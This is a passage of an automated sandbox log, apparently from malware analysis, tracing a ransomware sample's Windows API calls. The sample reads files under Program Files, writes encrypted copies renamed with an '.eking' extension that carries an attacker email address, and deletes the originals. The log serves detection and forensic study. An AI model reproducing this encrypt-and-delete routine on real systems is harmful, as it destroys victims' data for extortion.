(normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll")) returned 0x20 [0184.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll")) returned 0x20 [0184.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsprofilerui.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.182] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=358904) returned 1 [0184.182] CloseHandle (hObject=0x1e0) returned 1 [0184.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll")) returned 0x20 [0184.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll")) returned 0x20 [0184.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\msdbg2.dll" (normalized: "c:\\program files\\internet explorer\\msdbg2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\omnipos.exe" (normalized: "c:\\program files\\internet explorer\\omnipos.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.187] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=80384) returned 1 [0184.187] CloseHandle (hObject=0x1e0) returned 1 [0184.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\omnipos.exe" (normalized: "c:\\program files\\internet explorer\\omnipos.exe")) returned 0x20 [0184.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\omnipos.exe" (normalized: "c:\\program files\\internet explorer\\omnipos.exe")) returned 0x20 [0184.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\omnipos.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\omnipos.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\omnipos.exe" (normalized: "c:\\program files\\internet explorer\\omnipos.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.188] SetEvent (hEvent=0x174) returned 1 [0184.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\paypal_drunk.exe" (normalized: "c:\\program files\\internet explorer\\paypal_drunk.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.189] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=80384) returned 1 [0184.189] CloseHandle (hObject=0x1e0) returned 1 [0184.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\paypal_drunk.exe" (normalized: "c:\\program files\\internet explorer\\paypal_drunk.exe")) returned 0x20 [0184.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\paypal_drunk.exe" (normalized: "c:\\program files\\internet explorer\\paypal_drunk.exe")) returned 0x20 [0184.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\paypal_drunk.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\paypal_drunk.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\paypal_drunk.exe" (normalized: "c:\\program files\\internet explorer\\paypal_drunk.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.190] SetEvent (hEvent=0x174) returned 1 [0184.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.191] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=537088) returned 1 [0184.191] CloseHandle (hObject=0x1e0) returned 1 [0184.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll")) returned 0x20 [0184.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll")) returned 0x20 [0184.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\pdm.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files\\internet explorer\\pdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.194] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=460) returned 1 [0184.194] CloseHandle (hObject=0x1e0) returned 1 [0184.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0184.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 0x20 [0184.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.195] SetEvent (hEvent=0x174) returned 1 [0184.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.195] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=244736) returned 1 [0184.195] CloseHandle (hObject=0x1e0) returned 1 [0184.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0184.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll")) returned 0x20 [0184.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files\\internet explorer\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\winscp.exe" (normalized: "c:\\program files\\internet explorer\\winscp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.376] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=80384) returned 1 [0184.376] CloseHandle (hObject=0x1e8) returned 1 [0184.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\winscp.exe" (normalized: "c:\\program files\\internet explorer\\winscp.exe")) returned 0x20 [0184.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\winscp.exe" (normalized: "c:\\program files\\internet explorer\\winscp.exe")) returned 0x20 [0184.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\winscp.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\winscp.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\winscp.exe" (normalized: "c:\\program files\\internet explorer\\winscp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.378] SetEvent (hEvent=0x174) returned 1 [0184.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0184.564] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=18738) returned 1 [0184.564] CloseHandle (hObject=0x1f4) returned 1 [0184.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0184.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0184.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0184.586] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0184.586] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0184.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0185.150] ReadFile (in: hFile=0x1f4, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x4932, lpOverlapped=0x0) returned 1 [0185.165] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x4940, lpOverlapped=0x0) returned 1 [0185.166] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0185.167] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0185.167] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0185.167] WriteFile (in: hFile=0x1f4, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x4932, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x4932, lpOverlapped=0x0) returned 1 [0185.169] FlushFileBuffers (hFile=0x1f4) returned 1 [0185.174] FlushFileBuffers (hFile=0x1f8) returned 1 [0185.176] CloseHandle (hObject=0x1f4) returned 1 [0185.176] CloseHandle (hObject=0x1f8) returned 1 [0185.178] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0185.179] SetEvent (hEvent=0x174) returned 1 [0185.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0185.180] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=14872) returned 1 [0185.180] CloseHandle (hObject=0x1f8) returned 1 [0185.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 0x20 [0185.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 0x20 [0185.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0185.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0185.181] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0185.181] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0185.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f4 [0185.182] ReadFile (in: hFile=0x1f8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x3a18, lpOverlapped=0x0) returned 1 [0185.184] WriteFile (in: hFile=0x1f4, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x3a20, lpOverlapped=0x0) returned 1 [0185.186] WriteFile (in: hFile=0x1f4, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0185.186] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0185.186] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0185.187] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x3a18, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x3a18, lpOverlapped=0x0) returned 1 [0185.191] FlushFileBuffers (hFile=0x1f8) returned 1 [0185.197] FlushFileBuffers (hFile=0x1f4) returned 1 [0185.200] CloseHandle (hObject=0x1f8) returned 1 [0185.200] CloseHandle (hObject=0x1f4) returned 1 [0185.208] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 1 [0185.210] SetEvent (hEvent=0x174) returned 1 [0185.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\centralcreditcard.exe" (normalized: "c:\\program files\\microsoft office\\centralcreditcard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0185.215] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=80384) returned 1 [0185.215] CloseHandle (hObject=0x1f4) returned 1 [0185.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\centralcreditcard.exe" (normalized: "c:\\program files\\microsoft office\\centralcreditcard.exe")) returned 0x20 [0185.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\centralcreditcard.exe" (normalized: "c:\\program files\\microsoft office\\centralcreditcard.exe")) returned 0x20 [0185.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\centralcreditcard.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\centralcreditcard.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0185.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\centralcreditcard.exe" (normalized: "c:\\program files\\microsoft office\\centralcreditcard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0185.216] SetEvent (hEvent=0x174) returned 1 [0185.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0185.384] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=9024) returned 1 [0185.384] CloseHandle (hObject=0x1f4) returned 1 [0185.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0185.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0185.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0185.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0185.384] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0185.385] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0185.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f8 [0185.915] ReadFile (in: hFile=0x1f4, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x2340, lpOverlapped=0x0) returned 1 [0185.922] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x2350, lpOverlapped=0x0) returned 1 [0185.924] WriteFile (in: hFile=0x1f8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0185.924] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0185.924] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0185.924] WriteFile (in: hFile=0x1f4, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x2340, lpOverlapped=0x0) returned 1 [0185.950] FlushFileBuffers (hFile=0x1f4) returned 1 [0186.506] FlushFileBuffers (hFile=0x1f8) returned 1 [0187.023] CloseHandle (hObject=0x1f4) returned 1 [0187.023] CloseHandle (hObject=0x1f8) returned 1 [0187.024] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0187.130] SetEvent (hEvent=0x174) returned 1 [0187.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0187.131] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6684) returned 1 [0187.131] CloseHandle (hObject=0x1f8) returned 1 [0187.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0187.132] GetFileAttributesW 